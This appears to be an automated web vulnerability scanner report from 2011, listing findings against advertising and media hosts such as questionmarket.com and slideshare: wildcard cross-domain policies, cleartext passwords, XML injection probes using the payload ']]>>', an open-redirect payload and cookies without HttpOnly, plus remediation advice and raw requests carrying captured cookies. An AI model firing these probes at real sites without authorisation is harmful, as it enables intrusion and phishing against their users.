The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: b.scorecardresearch.com
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: cdn.slidesharecdn.com
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: cspix.media6degrees.com
Response
HTTP/1.1 200 OK Date: Sat, 17 Sep 2011 14:44:06 GMT Server: Apache/2.2.3 (CentOS) Last-Modified: Thu, 13 Nov 2008 04:04:22 GMT ETag: "c8143-120-45b8a3523dd80" Accept-Ranges: bytes Content-Length: 288 Connection: close Content-Type: image/gif
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: pcdn.tcgmsrv.net
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: pixel.33across.com
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: segment-pixel.invitemedia.com
Response
HTTP/1.0 200 OK Server: IM BidManager Date: Sat, 17 Sep 2011 14:44:03 GMT Content-Type: text/plain Content-Length: 81
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: segs.btrll.com
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: survey.questionmarket.com
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: www.slideshare.net
The Silverlight cross-domain policy controls whether Silverlight client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.
Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.
Issue remediation
You should review the domains which are allowed by the Silverlight cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.
The application publishes a Silverlight cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /clientaccesspolicy.xml HTTP/1.0 Host: b.scorecardresearch.com
The application publishes a Silverlight cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /clientaccesspolicy.xml HTTP/1.0 Host: pixel.33across.com
The application publishes a Silverlight cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /clientaccesspolicy.xml HTTP/1.0 Host: s1.2mdn.net
Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defence and monitor the traffic passing through switches.
Issue remediation
The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.
XML or SOAP injection vulnerabilities arise when user input is inserted into a server-side XML document or SOAP message in an unsafe way. It may be possible to use XML metacharacters to modify the structure of the resulting XML. Depending on the function in which the XML is used, it may be possible to interfere with the application's logic, to perform unauthorised actions or access sensitive data.
This kind of vulnerability can be difficult to detect and exploit remotely; you should review the application's response, and the purpose which the relevant input performs within the application's functionality, to determine whether it is indeed vulnerable.
Issue remediation
The application should validate or sanitise user input before incorporating it into an XML document or SOAP message. It may be possible to block any input containing XML metacharacters such as < and >. Alternatively, these characters can be replaced with the corresponding entities: < and >.
The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /adsc]]>>/d924563/3/43741105/decide.php?ord=1316281820 HTTP/1.1 Host: amch.questionmarket.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CS1=931683-4-1_200215152932-9-1_600001512117-15-1_909940-17-1_923517-8-1; ES=921286-wME{M-0_909615-B67|M-0_925807-p'U|M-0_887846-6K'|M-0_775029-3M.|M-0
Response
HTTP/1.1 404 Not Found Date: Sat, 17 Sep 2011 13:04:06 GMT Server: Apache/2.2.3 Vary: accept-language Accept-Ranges: bytes Content-Type: text/html Content-Language: en Content-Length: 1065
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang=" ...[SNIP]...
The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
The REST URL parameter 2 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 2. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
The REST URL parameter 2 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 2. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /adscgen]]>>/st.php?survey_num=924563&site=68852647&code=43741105&randnum=6212411 HTTP/1.1 Host: amch.questionmarket.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CS1=931683-4-1_200215152932-9-1_600001512117-15-1_909940-17-1_923517-8-1; ES=921286-wME{M-0_909615-B67|M-0_925807-p'U|M-0_887846-6K'|M-0_775029-3M.|M-0
Response
HTTP/1.1 404 Not Found Date: Sat, 17 Sep 2011 13:04:23 GMT Server: Apache/2.2.3 Vary: accept-language Accept-Ranges: bytes Content-Type: text/html Content-Language: en Content-Length: 1065
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang=" ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 2. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /adscgen/st.php]]>>?survey_num=924563&site=68852647&code=43741105&randnum=6212411 HTTP/1.1 Host: amch.questionmarket.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CS1=931683-4-1_200215152932-9-1_600001512117-15-1_909940-17-1_923517-8-1; ES=921286-wME{M-0_909615-B67|M-0_925807-p'U|M-0_887846-6K'|M-0_775029-3M.|M-0
Response
HTTP/1.1 404 Not Found Date: Sat, 17 Sep 2011 13:04:24 GMT Server: Apache/2.2.3 Vary: accept-language Accept-Ranges: bytes Content-Type: text/html Content-Language: en Content-Length: 1065
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang=" ...[SNIP]...
The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
The REST URL parameter 2 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 2. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
The REST URL parameter 2 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 2. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /profile-photo-MillwardBrown-48x48]]>>?1295624731 HTTP/1.1 Host: cdn.slidesharecdn.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.slideshare.net/MillwardBrown/value-of-a-fan
The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /profile-photo-MillwardBrownFrance-48x48]]>>?1297938293 HTTP/1.1 Host: cdn.slidesharecdn.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.slideshare.net/MillwardBrown/value-of-a-fan
Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.
Issue remediation
The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.
The value of the link request parameter is used to perform an HTTP redirect. The payload http%3a//acbbbf0ad7361ec26/a%3fhttp%3a//www.delish.com/search/fast_search_recipes%3fsearch_term%3dxss%20sugar%20cake%26 was submitted in the link parameter. This caused a redirection to the following URL:
Open redirection vulnerabilities arise when an application incorporates user-controllable data into the target of a redirection in an unsafe way. An attacker can construct a URL within the application which causes a redirection to an arbitrary external domain. This behaviour can be leveraged to facilitate phishing attacks against users of the application. The ability to use an authentic application URL, targeting the correct domain with a valid SSL certificate (if SSL is used) lends credibility to the phishing attack because many users, even if they verify these features, will not notice the subsequent redirection to a different domain.
Issue remediation
If possible, applications should avoid incorporating user-controllable data into redirection targets. In many cases, this behaviour can be avoided in two ways:
Remove the redirection function from the application, and replace links to it with direct links to the relevant target URLs.
Maintain a server-side list of all URLs that are permitted for redirection. Instead of passing the target URL as a parameter to the redirector, pass an index into this list.
If it is considered unavoidable for the redirection function to receive user-controllable input and incorporate this into the redirection target, one of the following measures should be used to minimize the risk of redirection attacks:
The application should use relative URLs in all of its redirects, and the redirection function should strictly validate that the URL received is a relative URL.
The application should use URLs relative to the web root for all of its redirects, and the redirection function should validate that the URL received starts with a slash character. It should then prepend http://yourdomainname.com to the URL before issuing the redirect.
The application should use absolute URLs for all of its redirects, and the redirection function should verify that the user-supplied URL begins with http://yourdomainname.com/ before issuing the redirect.
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
{"suggestions":["wpp","wpp /techblogs","wpp /news-magazine","wpp /tech","wppi","wpp group","wpp group /news-magazine","wpp group /techblogs","wpp group /reviews","wppsi"],"query":"wpp"}
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /pca/polls/poll.jsp?pollId=1000000270 HTTP/1.1 Host: www.peopleschoice.com Proxy-Connection: keep-alive Referer: http://wonderwall.msn.com/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 204 No Content Server: Apache-Coyote/1.1 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Expires: Sat, 6 May 1995 12:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: imp=a$le#1316265127425_137664789_as3101_vew|308#1316265127233_137611811_as3107_imp|374#1316221548433_135109402_as3106_imp|305#1315313297486_68372787_as3103_imp|; Domain=.teracent.net; Expires=Thu, 15-Mar-2012 13:12:07 GMT; Path=/tase Date: Sat, 17 Sep 2011 13:12:07 GMT
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /adsc/d924563/3/43741102/decide.php?ord=1316287868 HTTP/1.1 Host: amch.questionmarket.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CS1=931683-4-1_200215152932-9-1_600001512117-15-1_909940-17-1_923517-8-1_43741105-3-1_400008029877-5-1; ES=921286-wME{M-0_909615-B67|M-0_925807-p'U|M-0_887846-6K'|M-0_775029-3M.|M-0_924563-#^>|M-0_913132-c5?|M-0
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /adsc/d924563/3/43741105/decide.php?ord=1316281820 HTTP/1.1 Host: amch.questionmarket.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CS1=931683-4-1_200215152932-9-1_600001512117-15-1_909940-17-1_923517-8-1; ES=921286-wME{M-0_909615-B67|M-0_925807-p'U|M-0_887846-6K'|M-0_775029-3M.|M-0
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Sat, 17 Sep 2011 14:37:40 GMT Server: Apache/2.2.3 X-Powered-By: PHP/4.4.4 Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache P3P: CP="ALL DSP COR PSAa PSDa OUR IND COM NAV INT LOC OTC", policyref="http://ch.questionmarket.com/w3c/audit2007/p3p_DynamicLogic.xml" DL_S: b203.dl Set-Cookie: LP=1316270260; expires=Wed, 21 Sep 2011 18:37:40 GMT; path=/; domain=.questionmarket.com Content-Length: 875 Content-Type: text/html
if (!window.DL_already_ran) (function(){ var d,e,h=false,s="http://amch.questionmarket.com/adscgen/d_layer.php?sub=amch&type=d_layer&survey_num=913131&site=10&code=922738&p=1&protocol=http&lang=&auto_ ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.